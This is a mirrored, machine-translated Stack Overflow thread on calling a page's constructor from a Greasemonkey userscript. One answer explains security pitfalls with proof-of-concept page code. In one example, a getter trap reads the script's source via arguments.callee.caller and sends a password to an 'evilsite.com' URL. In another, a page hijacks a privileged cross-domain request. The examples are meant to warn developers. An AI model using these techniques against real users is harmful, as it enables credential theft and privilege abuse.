简体   繁体   English

如何使用远程页面的构造函数在我的Greasemonkey UserScript中创建一个Object?

[英]How do I use constructor of a remote Page to create an Object in my Greasemonkey UserScript?

The page on which my userscript will run has a namespace, the namespace defines a constructor function. 我的用户脚本将在其上运行的页面具有命名空间,命名空间定义了构造函数。 I would like to create an object using the same constructor and use methods of the object in my userscript. 我想使用相同的构造函数创建一个对象,并使用我的用户脚本中的对象的方法。 So far I have been unsuccessful. 到目前为止,我一直没有成功。 Here's what I am trying to do. 这就是我想要做的。

The Page has the following native javascript block : 该页面包含以下原生javascript块:

var namespace={ constructor : function(){
   this.sum = function(value1,value2){
   alert(value1+value2);
    }
  }
}

being used like: 被用作:

var pageObject=new namespace.constructor();
pageObject.sum(1,2);

In My Userscript its my intention to create an object just like pageObject and call sum from that with my own parameters. 在My Userscript中,我打算像pageObject一样创建一个对象,并使用我自己的参数调用sum。

I have tried doing the following : 我尝试过以下操作:

var greaseNameSpace = unsafeWindow.namespace;
var greaseObject = new greaseNameSpace.constructor();
greaseObject.sum(1,2);

No Luck, appears though greaseNameSpace exist, and even greaseNameSpace.constructor is a valid function , using new greaseNameSpace.constructor() yields undefined. 没有运气,虽然出现了greaseNameSpace,甚至greaseNameSpace.constructor也是一个有效的函数,使用new greaseNameSpace.constructor()会产生undefined。

also tried following : 也试过以下:

var greaseObject =new unsafeWindow.namespace.constructor();

again greaseObject remains undefined. 再次,greaseObject仍未定义。

I found one thread here How can I create an object of a class which is defined in the remote page? 我在这里找到一个线程如何创建在远程页面中定义的类的对象?

But it uses eval, and I wonder if that's the right way ? 但它使用eval,我想知道这是否正确?

Any and all help would be much appreciated :) thanks!! 任何和所有的帮助将非常感谢:)谢谢!

I have found a method to solve the question. 我找到了解决问题的方法。 Be careful to use this method though: when you partially/wrongly implement this code, you're opening a potential security hole. 但是要小心使用此方法:当您部分/错误地实现此代码时,您将打开一个潜在的安全漏洞。

The code below obtains a window object without the ambiguous restrictions of unsafeWindow . 下面的代码获得了一个window对象,没有unsafeWindow的模糊限制。 Any code executed in the scope of this window object will behave if it was a part of the actual page, similarly to the Content Scripts at Google Chrome's extensions. 如果它是实际页面的一部分,那么在此window对象范围内执行的任何代码都会表现出来,类似于Google Chrome扩展程序中的内容脚本。

Code

// ==UserScript==
// @name           http://stackoverflow.com/q/4804765
// @namespace      Rob W
// @include        file:///tmp/test.html*
// ==/UserScript==

//Get a window object which is less restricted than unsafeWindow
var $_WINDOW = new XPCNativeWrapper(window, "")
                  .getInterface(Components.interfaces.nsIDOMWindow);

//Create an anonymous function wrapper for security
(function(){
    var obj = new $_WINDOW.namespace.constructor;
    obj.sum(4,5);

}).call($_WINDOW)

Security considerations 安全考虑

  • Wrap the code which uses methods/variables of this window object in a function, so that no dangerous holes are created. 在函数中包含使用此window对象的方法/变量的代码,以便不会创建危险的孔。 Do not allow this function wrapper to execute random code based on user input. 不允许此函数包装器根据用户输入执行随机代码。
  • See Example 3 for the right method to implement $_WINDOW 有关实现$_WINDOW的正确方法,请参见示例3

Examples / Proof of Concept 示例/概念证明

Below, I will show possible cases in which the $_WINDOW object is implemented in a dangerous way. 下面,我将展示以危险方式实现$_WINDOW对象的可能情况。 It's obvious that the Code at the " //page " was not expected by the developer of the GM script. 很明显,GM脚本的开发人员并不期望“ //page ”中的代码。
Note: Some examples (such as example 2) may be useful for secure (local) web-based applications (at the file:/// protocol, for instance). 注意:某些示例(例如示例2)可能对安全(本地)基于Web的应用程序有用(例如,在file:///协议中)。
Example 3 shows the right method to use $_WINDOW . 示例3显示了使用$_WINDOW的正确方法。

I have used the magic __defineGetter__ function to detect calls to a variable, because most script developers do not know about this feature. 我使用了magic __defineGetter__函数来检测对变量的调用,因为大多数脚本开发人员都不知道这个功能。 Calling functions directly will also trigger the harmful code; 直接调用函数也会触发有害代码;

The main cause is laid at arguments.callee.caller . 主要原因在arguments.callee.caller Inside a function, this object will refer to the function which has called the current function. 在函数内部,该对象将引用调用当前函数的函数。 When unsafeWindow is used, the arguments.callee.caller variable cannot be called. 使用unsafeWindow ,无法调用arguments.callee.caller变量。 The function will then be displayed as function SJOWContentBoundary{ [native code]} . 然后该函数将显示为function SJOWContentBoundary{ [native code]} However, when $_WINDOW is used, the real GM function is visible and callable by the remote page. 但是,当使用$_WINDOW时,远程页面可以看到并调用真正的GM功能。

Example 1 : Reading (sensible) data from a GreaseMonkey script 示例1 :从GreaseMonkey脚本中读取(敏感)数据

//GreaseMonkey:
var password = "password";
alert($_WINDOW.namespace.Var); //Seemingly harmless?

//Page:
var namespace = {Var:1};
namespace.__defineGetter__("Var", function(){
    var gm_function = arguments.callee.caller;
    var password = gm_function.toString().match(/var password = "(.*?)";\n/);
    (new Image).src = "http://evilsite.com/stealpassword.php?p=" + password[0];
})

Example 2 : Leaking a cross-domain XMLHttpRequest method to an arbitrary page. 示例2 :将跨域XMLHttpRequest方法泄漏到任意页面。
The creator of this GM script intended to modify the page according to a hash change. 此GM脚本的创建者旨在根据哈希更改修改页面。 However, by including a check (whether the page should be affected) in a function which changes the URL / callback, a hole was created. 但是,通过在更改URL /回调的函数中包括检查(是否应该影响页面),创建了一个洞。

//GreaseMonkey:
var base_url, callback;
function checkExistent(url, func){
    base_url = url;
    callback = func;
    return typeof $_WINDOW.some_var != "undefined"; //<---Leaked!
}
var isExistent = checkExistent("http://example.com/load?h=", function(res){
    alert(res.responseText);
});
var lastHash = unsafeWindow.location.hash.substr(1);
if(confirm(isExistent)){
    window.setInterval(function(){ //Create poller to detect hash changes
        var newHash = unsafeWindow.location.hash.substr(1);
        if(lastHash != newHash){
            GM_xmlhttpRequest({method:"GET",
                          "url": base_url + newHash, onload:callback});
            lastHash = newHash;
        }
    }, 300);
}

//Page
var step = 0, xhr;
window.__defineGetter__("some_var", function(){
    if(!step++){ //Define the xhr first time
        xhr = function(url, callback){
            arguments.callee.caller(url, callback);
              // = function checkExistent(url, callback) !!!!
            location.hash += "."; //Edit hash to trigger XHR
        }
    }
    return step;
});

Example 3 : Correct usage 示例3正确使用
Variable getters should be defined such that no arbitrary requests can be made. 应定义变量getter,以便不能进行任意请求。 Functions should not accept variables. 函数不应该接受变量。 If it's still necessary, wrap the getter in an anonymous function. 如果仍然需要,请将getter包装在匿名函数中。

//GM:
function getUserdata(){
    //Get a string from a page. Wrap the string in a new String object,
    // to make sure that no evil properties/methods are defined
    return String($_WINDOW.variable);
}

//Method 2
//The developer of the GM script has to define a correct wrapper for type:
// String, Number, Boolean, ...
function getRandomVariable(type, name){
    var variable = (function(){ //No arguments, no hazards
        return $_WINDOW[name];
    })();
    return type(variable);
}
getRandomVariable(String, "variable");

//Page:
var variable = "There's no way to abuse this GM bridge.";

Try: 尝试:

var greaseNameSpace = unsafeWindow.namespace.constructor;
var greaseObject = new greaseNameSpace();
greaseObject.sum(1,2);

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

相关问题 如何在我的Greasemonkey Javascript脚本中使用jQuery? - How do I use jQuery in my Greasemonkey Javascript scripts? 在用户脚本/greasemonkey 中,当网站已经使用旧版本时,如何使用更新版本的 jQuery? - In a userscript/greasemonkey, how do you use a newer version of jQuery when the website already uses an older version? 如何用Greasemonkey的用户脚本替换JSON字符串中的文本 - How can I replace the text in JSON string with a userscript for Greasemonkey 如何将小书签转换为Greasemonkey用户脚本? - How to convert a bookmarklet into a Greasemonkey userscript? 如何在Greasemonkey中使用ActiveXObject? - How do I use ActiveXObject in Greasemonkey? 如何使用用户脚本将页面切换到其他域? - How do I switch a page to a different domain using a userscript? 如何在Greasemonkey脚本中包含远程javascript文件? - How do I include a remote javascript file in a Greasemonkey script? 在 Chrome 中使用 Greasemonkey/用户脚本单击页面上的按钮 - Clicking a button on a page using a Greasemonkey/userscript in Chrome GreaseMonkey / UserScript仅重新加载页面的特定div? - GreaseMonkey/UserScript to reload only a specific div of a page? 在Greasemonkey中获取我的笔记本电脑的规格(用户脚本) - Getting specs of my laptop in Greasemonkey (userscript)
 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM